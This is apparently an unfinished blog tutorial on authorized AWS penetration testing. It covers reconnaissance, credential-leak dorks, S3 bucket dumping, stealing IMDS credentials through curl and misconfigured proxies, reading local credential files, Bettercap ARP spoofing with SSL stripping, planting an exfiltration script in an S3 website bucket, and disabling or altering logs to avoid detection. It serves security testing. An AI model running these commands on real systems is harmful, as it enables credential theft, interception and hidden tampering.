Cloud Pentesting: AWS

Background

This entry is comprised of just some of the basic processes for penetration testing in Amazon Web Services. Pentesting for a tenant in a cloud environment typically has a scope that includes account security, cloud service security, application logic, and business logic. Because there are many out-of-scope aspects to a cloud pentest, the Cloud Security Alliance has created the Cloud Penetration Testing Playbook. With the process outlined in this playbook, I'll be summarizing some of the steps and spend much of the focus of this post on the reconnaissance and testing portions.

Preparation

1. Sign all non-disclosures, testing agreements, etc with client.
2. Define the purpose and scope of the test.
3. Follow the security testing procedure for getting approval from both the Cloud Service Provider (CSP) and the client. Here's Amazon's.
4. Receive or produce requirements specifications with consideration given to compliance, guidance, and frameworks.
5. Customize and sign off on pentesting TTPs and methodology. This may include non-cloud application testing TTPs like OWASP's guide.

Threat Modeling

1. Incorporate client concerns, purpose, and specifications into a threat model.
2. Perform threat modeling on the scope.

Reconnaissance

DNS Enum

dig example.com A       # Query for A records (IPv4 addresses)
dig example.com MX      # Query for MX records (mail exchange servers)
dig example.com NS      # Query for NS records (nameservers)
dig example.com SPF     # Query for SPF records (email authentication)
dig example.com TXT     # Query for TXT records (text records)
dig example.com CNAME   # Query for CNAME records (canonical name aliases)

Identify Misconfigured or Hijackable Services

• Analyze SPF records to identify misconfigurations or weaknesses that could lead to email spoofing or unauthorized email delivery. Look for misconfigured SPF policies or missing mechanisms such as all, include, or redirect.
• Analyze CNAME records to identify aliases pointing to external services or domains. Look for CNAME records that could be hijacked or abused for phishing attacks or domain takeover.
• Inspect TXT records for any sensitive information inadvertently exposed, such as API keys, tokens, or other secrets. Look for TXT records containing plain-text secrets or metadata used by various services.

Enum Subdomains and Hostnames

pip install sublist3r

python sublist3r.py -d example.com -o output.txt

Google Dorking

Identity Federation Examples

site:example.com inurl:/adfs
site:example.com inurl:/auth
site:example.com inurl:/okta
site:example.com inurl:/ping
site:example.com inurl:/sso

filetype:config inurl:aws

Dark Web Scan

• OnionScan is a free and open source tool for investigating the Dark Web.

GitHub Dorks

GitHub can be a valuable source for finding publicly available code repositories containing sensitive information, including credentials. Using specific search queries (GitHub Dorks), pentesters can identify repositories containing hardcoded or exposed credentials.
Any/All of the searches below could be entered into a GitHub Advanced Search to see if anyone has accidentally listed credentials for the client on there.

filename:.aws OR filename:credentials aws_access_key_id

filename:.aws OR filename:credentials aws_secret_access_key

filename:.env AWS_ACCESS_KEY_ID

filename:policy.json aws: "Resource"

filename:config aws

filename:*.template aws_access_key_id

filename:aws_config

Pastebin

Pastebin is a platform where users share text snippets, including sensitive information like compromised credentials. You can monitor Pastebin for new posts containing keywords associated with credentials. For example: Set up automated searches on Pastebin using specific keywords such as password, API key, access token, etc.

password username aws_access_key_id

Use Pastebin scraping tools or scripts to automate the process of monitoring and analyzing new posts for potential credential leaks.

Have I Been Pwned?

haveibeenpwned.com can be helpful in searching the client's domain or specific email addresses to see if they have been compromised and when.

Identify Targets

Using LinkedIn and the company website, identify personnel in:

• cloud administration;
  
• operation;
  
• user; and
  
• supply chains.

Transparency Logs

Visit a Certificate Transparency log viewer crt.sh to access and search certificate transparency logs. Enter the domain to find all the subdomains associated with the certificates. Look for entries related to cloud services (e.g., bucket.s3.amazonaws.com for AWS S3 buckets, or other AWS services like EC2 instances, identified by DNS names). Document any interesting subdomains or services that might warrant further investigation.

If you discover S3 bucket domains (e.g., bucket.s3.amazonaws.com), you can try to enumerate and test access permissions using tools designed for S3 bucket enumeration. Only test buckets within scope.

Bucket Finder

Scan for public buckets:

./bucket_finder.rb mywordlist.txt

S3Scanner

Scan for public buckets:

python3 s3scanner.py --list buckets.txt

Dump contents of public bucket:

python3 s3scanner.py --dump

Note: Be mindful of AWS's rate limiting. If you're performing extensive scanning or enumeration, you may trigger AWS monitoring or protective responses.

Post-exploitation

Display the Account ID, User/Role ARN, and Session ID, of the compromised account:

aws sts get-caller-identity

List User Details:

aws iam get-user

List IAM policies attached to that user:

aws iam list-attached-user-policies --user-name [CompromisedUserName]

Enum Account Details

List Users

aws iam list-users

List Buckets

aws s3 ls

Enum Roles

aws iam list-roles

Test Role Policy
If you find a role, you can attempt to modify its trust relationship policy to escalate privileges using the UpdateAssumeRolePolicy action, provided you have the necessary permissions. This is a highly sensitive operation and should be handled with caution.

aws iam update-assume-role-policy --role-name YourRoleName --policy-document file://NewPolicy.json

List policies for current user, looking for overly permissive policies:

aws iam list-policies --scope Local

Simulate Policy Evaluation

aws iam simulate-principal-policy

List EC2 Instances

aws ec2 describe-instances

aws ec2 describe-instances | grep -i public

This gives a public IP address for an instance to which you can use the compromised user's creds to ssh into later.

Identify Database Services

aws rds describe-db-instances

Discover Additional Services

aws lambda list-functions

Inspect VPCs and Networks

aws ec2 describe-vpcs

aws ec2 describe-subnets

List Security Groups

aws ec2 describe-security-groups

Organizations

Is the account a part of AWS Organizations:

aws organizations list-accounts

This will only show accounts if the compromised account has permissions to view them and if the client is uses AWS Organizations.

aws organizations describe-organization

List Regions

aws ec2 describe-regions

Different AWS accounts have access to different regions. For example, AWS GovCloud (US) accounts have access to GovCloud regions.

Organizational Units and Policies

aws organizations list-organizational-units-for-parent --parent-id <org-root-id>
aws organizations list-policies

GovCloud

Check for GovClodu-specific Configurations

aws service-quotas list-services

CloudTrail Logs

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances

Identify Load Balancers

aws elbv2 describe-load-balancers

No AWS CLI Access?

If you don't have direct access to the AWS account, but you're performing an authorized penetration test, you can sometimes infer the presence of a load balancer by examining DNS records. Use DNS lookup tools or online services to inspect the DNS records for the target domain. AWS load balancers are typically accessed through a DNS name rather than a direct IP address. A CNAME or an A record pointing to an Amazon AWS domain may indicate the use of an ELB.

Identify Sensitive Data

• Identify databases, storage accounts, or services likely to contain sensitive information, based on naming conventions, tags, or documented data flows.
• Review access logs for storage services or databases to identify frequent access patterns or unusual access that might indicate sensitive data.
• Tools like AWS Trusted Advisor can provide insights into high-value assets and potential security issues.

Research

Now research the assets found through enumeration for vulnerabilities or common misconfigurations and exploitation tools and methods. You can also review the AWS Bulletin for possible unpatched vectors for compromise.

Testing

Validate Baseline Security Requirements

Use Security Test Cases, Guides, and Checklists Relevant to Domains and Technologies

Depending on what sort of domains and technologies might apply, you may use some combination of the following:

Web Applications

• Technologies & Frameworks: JavaScript, HTML, CSS, Angular, React, etc.
• Security Checklists: OWASP Top 10, OWASP ASVS (Application Security Verification Standard).
• Test Cases: Cross-Site Scripting (XSS), SQL Injection, CSRF, authentication bypass, etc.

Mobile Applications

• Technologies & Platforms: Android (Java, Kotlin), iOS (Swift, Objective-C).
• Security Checklists: OWASP Mobile Top 10, MASVS (Mobile Application Security Verification Standard).
• Test Cases: Insecure data storage, improper platform usage, insecure communication, etc.

Native Applications

• Technologies: C++, C#, Java (for desktop applications).
• Security Checklists: Platform-specific guides (e.g., Microsoft's security best practices for Windows applications).
• Test Cases: Buffer overflows, insecure file permissions, unsafe deserialization, etc.

Server-Side Applications

• Technologies & Frameworks: Node.js, Ruby on Rails, Django (Python), ASP.NET MVC (C#).
• Security Checklists: Language/framework-specific security checklists, OWASP Top 10.
• Test Cases: Remote code execution, directory traversal, server-side request forgery (SSRF), etc.

APIs

• Technologies: REST, GraphQL, SOAP.
• Security Checklists: OWASP API Security Top 10.
• Test Cases: Injection attacks, misconfiguration, excessive data exposure, broken authentication, etc.

Test for Spoofing (STRIDE)

During recon, you identifed target functions:

aws lambda list-functions

Gathering as much information as possible, you noted environment variables, linked services (like databases), and IAM roles and policies. This information might hint at where secrets and credentials are stored or used.

Attempt to Extract Secrets

Automated Tools

Use automated tools to scan the source code for potential secrets. Tools like truffleHog or git-secrets can scan code repositories for tokens, passwords, and other sensitive information.

Manual Review

Manually review the code, especially areas where database connections are established, for any hardcoded credentials or secrets.

Map Load Balancer Flow

During recon, you learned whehter or not the client is using a load balancer and what kind. Now you need to map the application flow using a tool like CloudMapper or CloudSploit.

CloudMapper

Install

git clone https://github.com/duo-labs/cloudmapper.git

Collect Account Data

python cloudmapper.py collect --account client_account

Generate Network Diagram

python cloudmapper.py prepare --account client_account
python cloudmapper.py webserver

Analysis of Configuration and Session Management

• Review Load Balancer Configurations: Look for misconfigurations that might make session hijacking easier, such as weak or absent encryption (SSL/TLS), improper session stickiness settings, or lack of proper monitoring and logging.
  
• Evaluate Session Management Mechanisms: Assess how the application behind the load balancer manages sessions, particularly looking for vulnerabilities like predictable session tokens or insecure token handling.
  

Analyze Traffic & Testing (If Applicable and Authorized)

• If explicitly permitted, monitor traffic to/from the load balancer to understand how it distributes load. Look for patterns that might indicate how routing decisions are made using tools like Wireshark or tcpdump.
• Analyze how the application behaves under different conditions (e.g., varying load, different types of requests). This may give clues about the underlying infrastructure and how the load balancer interacts with it.
• Conducting load testing (with tools like JMeter or Locust) can reveal how the application scales and how the load balancer distributes traffic under stress. Note any changes in response times, error rates, or routing behavior.

Simulate MiTM Attack Scenario

This section will depend on what your findings are in previous steps. But for the purpose of picking an example to walk through, lets evaluate the a web application that uses HTTPS.

Utilize Bettercap or Ettercap to spoof DNS responses (if applicaple) to redirect traffic through your testing machine; positioning your machine in the middle of the client and the server.

1. Identify the appropriate interface and start up Bettercap (replace eth0 with the appropriate interface)

sudo bettercap -iface eth0

2. Turn on proxy

http.proxy on

3. Enable SSL stripping

hstshijack/hstshijack caplet.load

4. Set ARP spoofing

set arp.spoof.fullduplex true
set arp.spoof.targets [target IP or subnet]
arp.spoof on

Note: SSLstrip

You can use SSLstrip with Bettercap, but the built-in caplet above may be more effective as it targets HTTPS Strict Transport Security (HSTS) whereas SSLstrip does not.

Attempt Domain Transfer

WHOIS Query

whois example.com | grep clientTransferProhibited

AWS Route 53 Specific Check

1. Log in to the AWS Management Console.
2. Navigate to the Route 53 dashboard and select the domain in question.
3. Check the domain details for any transfer lock setting. AWS Route 53 provides a feature to lock the domain to prevent unauthorized transfers.

Simulate Transfer

1. Authorization Code Generation (Hypothetical):
   
   • Normally, transferring a domain to another registrar requires an authorization code (also known as EPP code or transfer key). Note down the steps an authorized user would take to generate this code within AWS Route 53 or another current registrar’s platform.
   • For AWS Route 53, this would involve selecting the domain, navigating to domain settings, and requesting the authorization code, but do not actually proceed with this action.
     
2. Unlock the Domain (Hypothetical):
   
   • Document the process for unlocking the domain, if it were necessary. This step is crucial for a transfer but increases the risk of unauthorized transfers.
     
   • In AWS Route 53, check where and how a domain lock status can be changed, noting down the steps without executing them.
     
3. Transfer Initiation Process (Hypothetical):
   
   • Write down the steps involved in initiating a domain transfer to another registrar. This typically involves providing the new registrar with the domain name and authorization code, and possibly unlocking the domain.
   • Identify any confirmation emails, verification checks, or additional security measures (like multi-factor authentication) that the registrar uses to verify the legitimacy of the transfer request.

Steal Credentials and Impersonate a User

Enum Local File Creds

cat ~/.aws/credentials

Extract Environment Variables

env | grep AWS

Leverage IMDS

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Follow any role name returned from the last command

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]

Additional Check with AWS CLI

aws ecs describe-task-definition --task-definition [TASK_DEFINITION_NAME]

Document any credentials you were able to extract.

Steal Credentials from Metadata or HTTP Proxy or Forwarding Servers

1. Check for which services are running that indicate http proxy or forwarding capabilities.

   nmap -sV target-network-range
   

2. Examine network architecture documents and configurations to identify any intentionally deployed proxy or forwarding servers.
3. Access the proxy server configuration files (e.g., nginx.conf for Nginx or httpd.conf for Apache HTTP Server) to review any forwarding rules or access policies. You're looking for rules that might forward requests to the AWS metadata URL or do not explicitly block it.

4. Try accessing IMDS AWS data through the proxy address.

   curl http://proxy-server.example.com/latest/meta-data/
   

   (Replace proxy-server.example.com with the actual proxy server's domain or IP address. Obvi.)

5. Exploit misconfigured forwarding: If you've identified that the proxy server might forward requests to the metadata service, craft special HTTP requests that exploit this. Include the AWS metadata service URL in paths or headers, depending on the proxy server's configuration. For example: Path-based Forwarding

   curl http://proxy-server.example.com/http://169.254.169.254/latest/meta-data/ | jq
   

Path-based Forwarding

In this request, you're asking the proxy server (proxy-server.example.com) to retrieve data from http://169.254.169.254/latest/meta-data/. The success of this approach depends on the proxy server's configuration and how it handles and forwards requests.

Header-based Forwarding

curl -H "X-Forwarded-For: 169.254.169.254" http://proxy-server.example.com/latest/meta-data/ | jq

OR

curl -H "X-Forwarded-Host: 169.254.169.254" http://proxy-server.example.com/latest/meta-data/ | jq

Header-based Forwarding

This method relies on the proxy server using the header information to determine where to forward the request. It's less direct than including the destination in the path but can be effective if the proxy is configured to respect these headers for forwarding decisions.

Steal Workload Creds from AWS IMDS

Connect with given user creds or those of compromised account.

ssh ec2-user@instance-ip

Retrieve IAM Role Name (if not yet retrieved earlier in testing)

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Get Details on Role Name Outputted from Last Command

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[RoleName] | jq

Note the AccessKeyId, SecretAccessKey, and Token.
Configure the AWS CLI with the stolen credentials under a profile named "pentest" to execute this command.

aws sts get-caller-identity --profile pentest

Attempt to Use Stolen Creds

aws s3 ls --profile pentest

Document any sensitive operations you can perform with the stolen credentials, such as accessing private data, modifying resources, or deploying new instances.

Steal Cloud Console and Server Certificates

1. Identify usage and storage
2. Extract Certs Server
3. Apache stores certs in /etc/ssl
4. NGINX stores certs in /etc/nginx/ssl AWS Certificates managed by ACM

   aws acm list-certificates --region us-west-2
   

Steal Creds from KMS (cloud key service)

Enumerate KMS Keys

aws kms list-keys --profile pentest

For each key, review the attached key policies to identify any overly permissive actions, particularly those that allow kms:Decrypt, kms:Encrypt, or kms:GenerateDataKey without proper restrictions.

Leverage Misconfigurations or Overly Broad Permissions

• With the identified permissions, attempt to use the KMS keys in ways that might expose sensitive information. For example, try decrypting data you shouldn't have access to or generating encryption keys under the guise of an authorized role.
  
• If possible, simulate assuming a role that has access to KMS operations. Document the process and outcome of role assumption, focusing on what KMS operations were accessible and any potential misuse scenarios.

Perform Spearphishing

Spearphish targets identified during the recon phase using the company's website and LinkedIn.

Cast Phishing Net Wider

Leverage compromised or misconfigured cloud email service for business email compromise and further phishing (for example, if SES is configured to allow sending from @company.com, then IAM permissions of ses:* can send an SES email that will appear to originate from internally).

Steal Cookies

- Man-in-the-Middle (MitM) Attacks: Intercepting network traffic to steal cookies. Requires network positioning that allows traffic interception, often achieved through ARP poisoning or exploiting public Wi-Fi vulnerabilities.

• Cross-Site Scripting (XSS): Exploiting XSS vulnerabilities in web applications to inject malicious scripts that send cookies to an attacker-controlled server.

Steal Secrets and Passwords

• Configuration and Storage Review: Manually reviewing application configurations, environment variables, and storage solutions for hardcoded or poorly secured secrets and passwords.
  

• Access Misconfigurations: Exploiting misconfigured permissions on databases, file systems, and secret management solutions to extract sensitive information.

Steal Kerberos Tickets

• Pass-the-Ticket (PtT) Attacks: Capturing and reusing Kerberos tickets from one system to authenticate to another within an Active Directory environment.

• Kerberoasting: Exploiting Kerberos to crack the hash of a service account's password by requesting service tickets and then attempting offline brute-force attacks.

Steal Identity Tokens

• Token Interception: Capturing tokens through network interception or compromised endpoints.
  

• Access Token Misuse: Identifying and exploiting vulnerabilities in the application's handling or validation of identity tokens to reuse or forge tokens for unauthorized access.

Test for Tampering

For the purpose of context within this section, some commands already run above may be repeated.

Enumerate Data Stores

aws s3 ls --profile pentest

aws rds describe-db-instances --profile pentest
aws redshift describe-clusters --profile pentest

Assess Data Store Configurations

• For each S3 bucket, review the bucket policies and ACLs to identify misconfigurations that could allow unauthorized data modification.
  
• Check the security group rules for RDS instances and Redshift clusters to ensure they don't expose the databases to unauthorized network access.
  
• For RDS and Redshift, assess database-level permissions to identify roles or users with overly broad write access.

Tampering Simulation

S3 Buckets

• If an S3 bucket is used to host a static website, attempt to modify or upload a malicious file (e.g., a JavaScript file for XSS) to test the bucket's write permissions.
  
• Try altering existing objects or uploading new objects to simulate data tampering, tracking whether the action is logged or detected.

RDS and Redshift

• Attempt to insert, update, or delete data within RDS or Redshift databases to simulate a fraudulent transaction. This requires SQL access via client tools configured with the pentest credentials.
• Verify if the databases are configured to log such transactions, which is crucial for detecting and investigating tampering incidents.

Check Integrity Monitoring and Alerting

• Determine if there are mechanisms in place like AWS Config, which can monitor and record AWS resource configurations and changes, or custom solutions for detecting data alterations.
  
• Assess if there's an alerting mechanism that notifies administrators of unauthorized data modification attempts.

Alter Serverless Function (AWS Lambda) for Action Objective or Escalation

• Enum Lambda Functions

  aws lambda list-functions --profile pentest
  

• Identify sensitive functions.
  

• For each target Lambda function, examine the attached IAM roles and policies to understand the permissions granted to the function.
  
• Understand how the Lambda functions are triggered. For functions triggered by API Gateway, assess the API configuration for potential vulnerabilities. For functions triggered by AWS services (e.g., S3, DynamoDB), review the event source configurations.

• Download function code (if permissions allow).

  aws lambda get-function --function-name FunctionName --profile pentest
  

• Perform a static code analysis to understand the function's logic, looking for potential vulnerabilities or misconfigurations, such as hard-coded credentials or insecure handling of inputs.
  

• Hypothetically, modify the function code to alter its business logic, such as changing the flow of data processing or injecting malicious code.
  
• Document how re-deployment would be attempted, hypothetically, to replace the existing Lambda function with the altered version.
  
• Test for logic manipulation. Without actually uploading or executing malicious code, simulate attacks against the serverless architecture. This could include:
  
  • Invoking the Lambda function with unexpected input data to test for input validation vulnerabilities.
    
  • Testing the function's response to manipulated event messages from trigger sources.

Alter Billing Threshold and Alerts

1. With appropriate permissions, log in to the AWS Management Console.
2. Go to the Billing & Cost Management Dashboard.
3. Locate the Billing Alerts section. Attempt to modify or delete existing billing alerts or create new alerts with high thresholds that would delay notifications.

Change Application, Website Code Integrity (AWS S3 Static Websites)

1. Using the AWS CLI or Management Console, identify the S3 bucket hosting the static website you're authorized to test.

   aws s3 ls
   

2. Try to upload a modified file or create a new one in the bucket. For instance, you might add a script for data exfiltration to an existing HTML file.

   aws s3 cp evil-script.js s3://target-bucket/
   

3. Access the modified website to confirm if the changes are reflected and functional.
4. Ensure S3 buckets have proper access controls and versioning enabled. Recommend regularly auditing bucket policies and IAM roles for least privilege access.

Create/Alter a DNS Record (AWS Route 53)

1. Log into the AWS Management Console and navigate to the Route 53 service.
2. Choose the hosted zone associated with the domain you're authorized to test.
3. Attempt to add or alter a DNS record. For a phishing test, you might add a subdomain pointing to a server you control.

   aws route53 change-resource-record-sets --hosted-zone-id ZONEID --change-batch file://changes.json
   

4. Record the steps taken and assess the ease of making unauthorized changes. Discuss implementing change approval mechanisms and monitoring DNS queries for anomalies.

Alter Data in Local SQL or MySQL Databases

1. Connect to the target database using credentials provided for the test. This might involve using command-line tools like mysql or graphical interfaces like MySQL Workbench.

   mysql -h hostname -u user -p database_name
   

2. Execute SQL commands aimed at altering data within tables you have permission to test. For example, update records in a way that simulates fraudulent transactions. For example:

   UPDATE accounts SET balance = 100000 WHERE account_id = 'target-account';
   

3. Determine the impact of such alterations on application functionality or business processes. Check if the database transaction logs capture the unauthorized changes.

Test for Repudiation

Operate in Regions Where Logging Is Not Enabled or Disable Global Logging

Attempt to perform actions in AWS regions where services like CloudTrail are not enabled. Alternatively, simulate or propose the disabling of CloudTrail in a controlled environment to observe the lack of logging.
Mitigation: Ensure CloudTrail and equivalent Azure services are enabled in all regions and have tamper-proof configurations.

Alter Log Files in a Non-validated Log Store or Disable Validation

For AWS, if log file validation is enabled in CloudTrail, simulate altering log files in S3 to see if the tampering is detected.
Mitigation: Enable CloudTrail log file validation in AWS and use Azure Storage Service Encryption along with activity logs for integrity checking.

Disable Network Traffic Analysis / Logging

Simulate the disabling of VPC Flow Logs in AWS or NSG flow logs in Azure. Assess the gap in visibility and monitoring this creates.
Mitigation: Ensure network flow logs are enabled and monitored. Implement permissions that restrict the disabling of these services.

Disable Cloud Alerting to Prevent Detection and Response

With proper authorization, simulate turning off alerts in services like AWS CloudWatch, GuardDuty, or Security Hub.
Mitigation: Use role-based access control to limit who can modify alerting configurations. Regularly audit alerting configurations for unauthorized changes.

Disable Data Stores Logging

Propose or simulate disabling access logging for S3 buckets, RDS instances, or Redshift clusters in AWS.
Mitigation: Implement policies that require logging for all data stores and regularly audit logging configurations.

Alter Log Retention or Damage the Integrity of Logs

Simulate changes to log retention policies that could lead to premature log deletion or alteration. In AWS, this could involve modifying S3 lifecycle policies or KMS key policies.
Mitigation: Define strict log retention policies and protect log integrity with immutable storage options and strict key management practices.

Change Local Windows / Linux Logs

On a compromised instance, attempt to alter or delete Windows Event Logs or Linux system logs (/var/log/) to hide malicious activities.
Mitigation: Implement centralized log management solutions that immediately export logs to a secure, tamper-evident storage solution. Use file integrity monitoring tools to detect alterations to local logs.

Test for Information Disclosure

DRAFT

Test for Denial of Service

Test for Elevation of Privilege

Test for Other Cases and Objectives

Persistence

Report

1. Report Key Findings
2. Follow-Up